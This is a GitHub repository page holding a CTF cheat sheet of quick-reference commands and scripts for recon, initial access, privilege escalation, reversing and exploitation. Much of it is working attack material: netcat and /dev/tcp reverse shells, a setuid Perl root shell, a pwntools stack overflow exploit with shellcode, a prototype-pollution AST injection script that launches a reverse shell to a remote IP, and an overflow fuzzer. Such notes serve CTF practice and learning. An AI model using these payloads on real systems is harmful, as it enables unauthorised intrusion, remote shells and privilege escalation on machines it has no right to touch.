Thanks to visit codestin.com
Credit goes to github.com

Skip to content

✍️ CTF notes for quick reference

gcholette/ctf-cheatsheet

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

58 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CTF Reference

Web recon

nmap 👁️

nmap -sC -A -T4 <ip>

ffuf 🌩️

ffuf -u http://<url>/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://<url> -w /usr/share/dnsrecon/subdomains-top1mil.txt -H "Host: FUZZ.<domain>.com" -fc 301

gobuster

gobuster dir -u http://<url> -w /usr/share/wordlists/dirb/common.txt

Nikto

nikto -host <ip>

dirb

dirb <url> /usr/share/wordlists/dirb/common.txt

Git Dumper

pip install git-dumper
git-dumper https://some-url/.git ./meow
ls ./meow

get headers with wget

wget -S some://url

Basic banner grabbing (Python)

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.198.73.23", 23))
print s.recv(1024)

ICMP scan

for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done

Initial access

nc reverse shell

Listener

nc -nlvp 444

Client

/bin/sh | nc <ip> 444
# or
bash -c "bash -i >& /dev/tcp/127.0.0.1/444 0>&1"

Escalation payloads

gtfobins hacktricks

Basic Python shell

import os
os.system("/bin/bash")

Basic SQL injections

' OR name='test';--

Linux privilege escalation / enumeration

Basic sudo escalation

sudo -l
sudo -u theuser <app>
sudo --preserve-env=PATH /some/thing

Perl escalation

perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

Pivoting

Enum

arp -a                 # arp cache
cat /etc/hosts         # look at hosts file
cat /etc/resolv.conf   # linux local dns
nmcli dev show         # 
ipconfig /all          # local dns on windows

Cryptography

John

/usr/share/john/ssh2john.py id_rsa > id_rsa_hash

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash

Reverse

Use ghidra to reverse the code to C

file some-executable
checksec --file=some-executable
strace ./some-executable
rtrace ./some-executable

GDB

gdb some-executable
(gdb) info break
(gdb) info registers
(gdb) disassemble <fn-name>
(gdb) break *0x000055555555539c
(gdb) run
(gdb) stepi
(gdb) continue
# stripped workflow
(gdb) run
(gdb) info file                 # look for entry point
(gdb) break *0x555555555080
(gdb) run
(gdb) x/1000i $rip              # list 1k lines from instruction pointer
(gdb) x/1000i 0x5555555558dd    # list 1k lines from address
(gdb) x/20wx $esp               # view 20 words starting from esp
(gdb) delete 1                  # delete breakpoint
(gdb) delete                    # delete all breakpoints

C Stuff

// time_t time(time_t *second) returns epoch in seconds
time_t tVar;
tVar = time((time_t *)0x0); // argument is NULL

void srand(unsigned int seed) // sets a seed for rand() to use
int rand(void)

Assembly stuff

Registers

RBP: bottom of the current stack frame
RAX: 64bit version of EAX(32bit), and AX(16bit)

functions

LEA accepts a standard memory addressing operand, but does nothing more than store the calculated memory offset in the specified register, which may be any general purpose register.
MOV dest_reg source_reg
MOV eax, 0x0

Pwntools

from pwn import *

def main():
    context.log_level = 'DEBUG'
    context(os='linux', arch='amd64')

    # io = process('./binary_file')
    io = remote('x.x.x.x', 30774)
    password = 'w00tw00t'

    return_address_offset = 84
    max_payload_length = 137

    io.sendlineafter('> ', b'1')
    stack_address = io.recvline().strip().split()[-1]
    stack_address = ''.join([chr(int(stack_address[i:i+2], 16)) for i in range(2, len(stack_address), 2)])
    stack_address = stack_address.rjust(8, '\x00')
    stack_address = u64(stack_address, endian="big")
    log.success(f'Leaked stack address: {p64(stack_address)}')

    io.sendlineafter('> ', b'2')
    io.sendlineafter('password: ', password.encode())

    shellcode = asm(
            shellcraft.popad() +
            shellcraft.sh()
    )

    padding = b'a' * (return_address_offset - len(shellcode))
    payload = shellcode + padding + p64(stack_address)
    assert len(payload) <= max_payload_length, f'Payload too big. "{len(payload)}"'

    io.sendlineafter('commands: ', payload)
    io.sendlineafter('> ', b'3')
    io.interactive()

if __name__ == '__main__':
    main()
from pwn import *

pattern = cyclic(100) # 100 bytes long
offset = cyclic_find('vaaa')

Steganography

Other usefull stuff

Adding to PATH

PATH=$PATH:/some/path

ssh with private key

ssh -i some_id_rsa <usr>@<ip>

Metasploit basic usage

msfconsole
search <name>
use <id>
show options
set rhosts <ip>
set targeturi /cgi-bin/hello.cgi
run

Quick Python HTTP server

Will serve any file in directory

python -m SimpleHTTPServer 8000 # if python2
python -m http.server

To fetch from the remote machine

wget http://<ip>:8000/LinEnum.sh

Recursive wget

wget -r --level=1 -p http://<website> 
find . -name "*" -exec cat {} \; | grep "@email.com" # find strings in downloaded sites

Protoype pollution AST injection

import requests

TARGET_URL = 'http://10.10.12.14:8713'

r1 = requests.post(TARGET_URL + '/submit', json = {
    "__proto__.type": "Program",
    "__proto__.body": [{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
            "type": "NumberLiteral",
            "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/10.10.12.14/6666 0>&1'`)"
        }],
        "loc": {
            "start": 0,
            "end": 0
        }
    }]
})

print(r1._content)


r2 = requests.post(TARGET_URL + '/submit', json = {
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`cat flag* >> ./static/file.txt`)"
    }
})

print(r2._content)

Basic SMTP enum (Python)

import socket
f = open("userlist", "r")
users = f.readlines()

for user in users:
    s = socket.socket(socket.AFINTE)

    s.connect(("mail.baldrinc.com", 25))
    s.recv(1024)
    s.send("HELO")
    #...
    
# 546d467562334a356558493d

Basic python socket

import socket
import time

def exploit(ip, port, x):
    payload = b"A" * x
    payload += b"\xb3\xba\x37\x13"

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    time.sleep(0.3)

    s.sendall(payload + b"\n")
    print(s.recv(2048).decode(errors="ignore"))
    s.close()

for i in range(44, 80):
    exploit("x.x.x.x", 8080, i)

About

✍️ CTF notes for quick reference

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages